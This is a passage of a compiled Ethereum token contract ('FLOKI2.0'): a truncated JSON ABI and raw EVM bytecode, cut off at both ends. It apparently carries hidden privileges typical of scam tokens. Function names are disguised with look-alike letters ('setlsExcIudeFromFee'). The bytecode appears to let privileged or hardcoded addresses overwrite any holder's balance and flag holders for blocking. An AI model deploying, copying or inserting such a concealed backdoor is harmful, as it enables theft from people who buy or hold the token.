","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zxxWallAddre","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405273bf6d448c078c832e9d3f18f7723b6165ceacb13e6001556040518060400160405280600881526020017f464c4f4b49322e30000000000000000000000000000000000000000000000000815250600290805190602001906200006992919062000d65565b506040518060400160405280600881526020017f464c4f4b49322e3000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000d65565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506000600f5560016010556001601155600060125560016013556001601455600460155560046016556010601755600c601855600c6019556018601a55600460009054906101000a900460ff16600a62000166919062000fdc565b66038d7ea4c680006200017a919062001119565b601b55600460009054906101000a900460ff16600a6200019b919062000fdc565b66038d7ea4c68000620001af919062001119565b601c55600460009054906101000a900460ff16600a620001d0919062000fdc565b66038d7ea4c68000620001e4919062001119565b601d55600460009054906101000a900460ff16600a62000205919062000fdc565b6103e862000214919062001119565b601e556001602060156101000a81548160ff0219169083151502179055506000602060166101000a81548160ff0219169083151502179055506001602060176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cad60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e2c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e2c565b6040518363ffffffff1660e01b81526004016200049892919062000ea7565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e2c565b602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601154620006f8601054600f5462000cde60201b620028b61790919060201c565b62000cde60201b620028b61790919060201c565b6018819055506200074b6014546200073760135460125462000cde60201b620028b61790919060201c565b62000cde60201b620028b61790919060201c565b6019819055506200078a6017546200077660165460155462000cde60201b620028b61790919060201c565b62000cde60201b620028b61790919060201c565b601a81905550600160096000620007a662000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60006200094c60015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620009b362000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073017560107d32862228c650b81e5a41f1c10ddcb6600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073017560107d32862228c650b81e5a41f1c10ddcb6600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b546006600062000bef62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c3d62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b5460405162000c9e919062000ef6565b60405180910390a350620012ae565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cef919062000f24565b90508381101562000d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d2e9062000ed4565b60405180910390fd5b8091505092915050565b600062000d548262000d5b60201b60201c565b9050919050565b6000819050919050565b82805462000d7390620011c5565b90600052602060002090601f01602090048101928262000d97576000855562000de3565b82601f1062000db257805160ff191683800117855562000de3565b8280016001018555821562000de3579182015b8281111562000de257825182559160200191906001019062000dc5565b5b50905062000df2919062000df6565b5090565b5b8082111562000e1157600081600090555060010162000df7565b5090565b60008151905062000e268162001294565b92915050565b60006020828403121562000e455762000e4462001259565b5b600062000e558482850162000e15565b91505092915050565b62000e69816200117a565b82525050565b600062000e7e601b8362000f13565b915062000e8b826200126b565b602082019050919050565b62000ea181620011ae565b82525050565b600060408201905062000ebe600083018562000e5e565b62000ecd602083018462000e5e565b9392505050565b6000602082019050818103600083015262000eef8162000e6f565b9050919050565b600060208201905062000f0d600083018462000e96565b92915050565b600082825260208201905092915050565b600062000f3182620011ae565b915062000f3e83620011ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f765762000f75620011fb565b5b828201905092915050565b6000808291508390505b600185111562000fd35780860481111562000fab5762000faa620011fb565b5b600185161562000fbb5780820291505b808102905062000fcb856200125e565b945062000f8b565b94509492505050565b600062000fe982620011ae565b915062000ff683620011b8565b9250620010257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200102d565b905092915050565b6000826200103f576001905062001112565b816200104f576000905062001112565b81600181146200106857600281146200107357620010a9565b600191505062001112565b60ff841115620010885762001087620011fb565b5b8360020a915084821115620010a257620010a1620011fb565b5b5062001112565b5060208310610133831016604e8410600b8410161715620010e35782820a905083811115620010dd57620010dc620011fb565b5b62001112565b620010f2848484600162000f81565b925090508184048111156200110c576200110b620011fb565b5b81810290505b9392505050565b60006200112682620011ae565b91506200113383620011ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200116f576200116e620011fb565b5b828202905092915050565b600062001187826200118e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011de57607f821691505b60208210811415620011f557620011f46200122a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200129f816200117a565b8114620012ab57600080fd5b50565b60805160601c614d37620012d4600039600081816110f701526111230152614d376000f3fe6080604052600436106103905760003560e01c806382eefb43116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f1d5f5171161006f578063f1d5f51714610da9578063f2514e8814610dd2578063f2fde38b14610e0f578063f872858a14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063de84797214610d53578063f0cd1dac14610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a08e671f1161017a578063a9059cbb11610149578063a9059cbb14610af2578063bae972b114610b2f578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a08e671f14610a36578063a457c2d714610a61578063a5d69d1f14610a9e578063a83f53a714610ac757610397565b80638da5cb5b116101b65780638da5cb5b1461098c5780639174c79d146109b757806395d89b41146109e0578063a073d37f14610a0b57610397565b806382eefb43146108f957806388790a68146109245780638b42507f1461094f57610397565b80633b97084a116102c157806361a23c691161025f57806377f31d031161022e57806377f31d031461083d578063783488d3146108665780637d1db4a5146108a3578063807c2d9c146108ce57610397565b806361a23c691461076f5780636249faf11461079a57806370a08231146107c357806377aaf2f61461080057610397565b8063502713641161029b57806350271364146106b557806357a5802f146106de5780635881f3ef1461070957806360efb94f1461074657610397565b80633b97084a146106245780633ecad2711461064d5780634a74bb021461068a57610397565b806327c8f8351161032e578063313ce56711610308578063313ce5671461056a57806335d236151461059557806337f02ba9146105be57806339509351146105e757610397565b806327c8f835146104eb5780632b112e49146105165780632c4b23341461054157610397565b80631694505e1161036a5780631694505e1461042f57806318160ddd1461045a57806323b872dd146104855780632563ae83146104c257610397565b806306fdde031461039c578063095ea7b3146103c75780631245e3471461040457610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103b1610e63565b6040516103be919061446e565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613f39565b610ef5565b6040516103fb9190614438565b60405180910390f35b34801561041057600080fd5b50610419610f13565b6040516104269190614393565b60405180910390f35b34801561043b57600080fd5b50610444610f39565b6040516104519190614453565b60405180910390f35b34801561046657600080fd5b5061046f610f5f565b60405161047c9190614590565b60405180910390f35b34801561049157600080fd5b506104ac60048036038101906104a79190613ee6565b610f69565b6040516104b99190614438565b60405180910390f35b3480156104ce57600080fd5b506104e960048036038101906104e49190614039565b611043565b005b3480156104f757600080fd5b506105006110f5565b60405161050d9190614378565b60405180910390f35b34801561052257600080fd5b5061052b611119565b6040516105389190614590565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190613e4c565b61115d565b005b34801561057657600080fd5b5061057f611236565b60405161058c9190614635565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190613e4c565b61124d565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190613f39565b611326565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613f39565b6113c8565b60405161061b9190614438565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190614066565b61147b565b005b34801561065957600080fd5b50610674600480360381019061066f9190613e4c565b61151a565b6040516106819190614438565b60405180910390f35b34801561069657600080fd5b5061069f61153a565b6040516106ac9190614438565b60405180910390f35b3480156106c157600080fd5b506106dc60048036038101906106d79190613fd9565b61154d565b005b3480156106ea57600080fd5b506106f36116cb565b6040516107009190614590565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b9190613e4c565b6116d1565b60405161073d9190614378565b60405180910390f35b34801561075257600080fd5b5061076d60048036038101906107689190614093565b611c2f565b005b34801561077b57600080fd5b50610784611d0f565b6040516107919190614590565b60405180910390f35b3480156107a657600080fd5b506107c160048036038101906107bc9190613f79565b611d15565b005b3480156107cf57600080fd5b506107ea60048036038101906107e59190613e4c565b611e4f565b6040516107f79190614590565b60405180910390f35b34801561080c57600080fd5b5061082760048036038101906108229190613e4c565b611e98565b6040516108349190614438565b60405180910390f35b34801561084957600080fd5b50610864600480360381019061085f9190613f79565b611eb8565b005b34801561087257600080fd5b5061088d60048036038101906108889190613e4c565b611ff2565b60405161089a9190614438565b60405180910390f35b3480156108af57600080fd5b506108b8612012565b6040516108c59190614590565b60405180910390f35b3480156108da57600080fd5b506108e3612018565b6040516108f09190614590565b60405180910390f35b34801561090557600080fd5b5061090e61201e565b60405161091b9190614590565b60405180910390f35b34801561093057600080fd5b50610939612024565b6040516109469190614590565b60405180910390f35b34801561095b57600080fd5b5061097660048036038101906109719190613e4c565b61202a565b6040516109839190614438565b60405180910390f35b34801561099857600080fd5b506109a161204a565b6040516109ae9190614378565b60405180910390f35b3480156109c357600080fd5b506109de60048036038101906109d99190614093565b612073565b005b3480156109ec57600080fd5b506109f5612153565b604051610a02919061446e565b60405180910390f35b348015610a1757600080fd5b50610a206121e5565b604051610a2d9190614590565b60405180910390f35b348015610a4257600080fd5b50610a4b6121ef565b604051610a589190614590565b60405180910390f35b348015610a6d57600080fd5b50610a886004803603810190610a839190613f39565b6121f5565b604051610a959190614438565b60405180910390f35b348015610aaa57600080fd5b50610ac56004803603810190610ac09190614039565b6122c2565b005b348015610ad357600080fd5b50610adc612374565b604051610ae99190614590565b60405180910390f35b348015610afe57600080fd5b50610b196004803603810190610b149190613f39565b61237a565b604051610b269190614438565b60405180910390f35b348015610b3b57600080fd5b50610b44612399565b604051610b519190614393565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190614093565b6123bf565b005b348015610b8f57600080fd5b50610b9861249f565b604051610ba59190614590565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190614039565b6124a5565b005b348015610be357600080fd5b50610bec61258e565b604051610bf99190614590565b60405180910390f35b348015610c0e57600080fd5b50610c17612594565b604051610c249190614378565b60405180910390f35b348015610c3957600080fd5b50610c426125ba565b604051610c4f9190614590565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613e4c565b6125c0565b604051610c8c9190614438565b60405180910390f35b348015610ca157600080fd5b50610caa6125e0565b604051610cb79190614590565b60405180910390f35b348015610ccc57600080fd5b50610cd56125e6565b604051610ce29190614438565b60405180910390f35b348015610cf757600080fd5b50610d006125f9565b604051610d0d9190614590565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613ea6565b6125ff565b604051610d4a9190614590565b60405180910390f35b348015610d5f57600080fd5b50610d68612686565b604051610d759190614590565b60405180910390f35b348015610d8a57600080fd5b50610d9361268c565b604051610da09190614590565b60405180910390f35b348015610db557600080fd5b50610dd06004803603810190610dcb9190614066565b612692565b005b348015610dde57600080fd5b50610df96004803603810190610df49190613e4c565b612731565b604051610e069190614438565b60405180910390f35b348015610e1b57600080fd5b50610e366004803603810190610e319190613e4c565b612751565b005b348015610e4457600080fd5b50610e4d6128a3565b604051610e5a9190614438565b60405180910390f35b606060028054610e729061489c565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9e9061489c565b8015610eeb5780601f10610ec057610100808354040283529160200191610eeb565b820191906000526020600020905b815481529060010190602001808311610ece57829003601f168201915b5050505050905090565b6000610f09610f02612914565b848461291c565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000610f76848484612ae7565b5061103884610f83612914565b61103385604051806060016040528060288152602001614cb560289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fe9612914565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130a49092919063ffffffff16565b61291c565b600190509392505050565b61104b612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cf90614530565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111586111477f0000000000000000000000000000000000000000000000000000000000000000611e4f565b601b5461310890919063ffffffff16565b905090565b611165612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990614530565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611255612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d990614530565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6000611332613152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113c45780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60006114716113d5612914565b8461146c85600760006113e6612914565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b61291c565b6001905092915050565b611483612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790614530565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b611580600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661157b613152565b61315a565b61158957600080fd5b60005b838390508110156116c55760018260ff161415611627576001600e60008686858181106115bc576115bb6149a4565b5b90506020020160208101906115d19190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506116b4565b60008260ff1614156116b3576000600e600086868581811061164c5761164b6149a4565b5b90506020020160208101906116619190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b806116be906148ce565b905061158c565b50505050565b60155481565b60006116db612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175f90614530565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b357600080fd5b505afa1580156117c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117eb9190613e79565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561184d57600080fd5b505afa158015611861573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118859190613e79565b6040518363ffffffff1660e01b81526004016118a29291906143ae565b60206040518083038186803b1580156118ba57600080fd5b505afa1580156118ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118f29190613e79565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ab3578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561196f57600080fd5b505afa158015611983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a79190613e79565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0957600080fd5b505afa158015611a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a419190613e79565b6040518363ffffffff1660e01b8152600401611a5e9291906143ae565b602060405180830381600087803b158015611a7857600080fd5b505af1158015611a8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab09190613e79565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611c37612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb90614530565b60405180910390fd5b82600f819055508160108190555080601181905550611d04601154611cf6601054600f546128b690919063ffffffff16565b6128b690919063ffffffff16565b601881905550505050565b60165481565b611d1d612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da190614530565b60405180910390fd5b60005b83839050811015611e49578160096000868685818110611dd057611dcf6149a4565b5b9050602002016020810190611de59190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e41906148ce565b915050611dad565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600e6020528060005260406000206000915054906101000a900460ff1681565b611ec0612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4490614530565b60405180910390fd5b60005b83839050811015611fec578160086000868685818110611f7357611f726149a4565b5b9050602002016020810190611f889190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fe4906148ce565b915050611f50565b50505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61207b612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ff90614530565b60405180910390fd5b82601281905550816013819055508060148190555061214860145461213a6013546012546128b690919063ffffffff16565b6128b690919063ffffffff16565b601981905550505050565b6060600380546121629061489c565b80601f016020809104026020016040519081016040528092919081815260200182805461218e9061489c565b80156121db5780601f106121b0576101008083540402835291602001916121db565b820191906000526020600020905b8154815290600101906020018083116121be57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b60006122b8612202612914565b846122b385604051806060016040528060258152602001614cdd602591396007600061222c612914565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130a49092919063ffffffff16565b61291c565b6001905092915050565b6122ca612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234e90614530565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061238e612387612914565b8484612ae7565b506001905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6123c7612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244b90614530565b60405180910390fd5b8260158190555081601681905550806017819055506124946017546124866016546015546128b690919063ffffffff16565b6128b690919063ffffffff16565b601a81905550505050565b60115481565b6124ad612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461253a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253190614530565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516125839190614438565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60015481565b60185481565b61269a612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271e90614530565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612759612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127dd90614530565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffff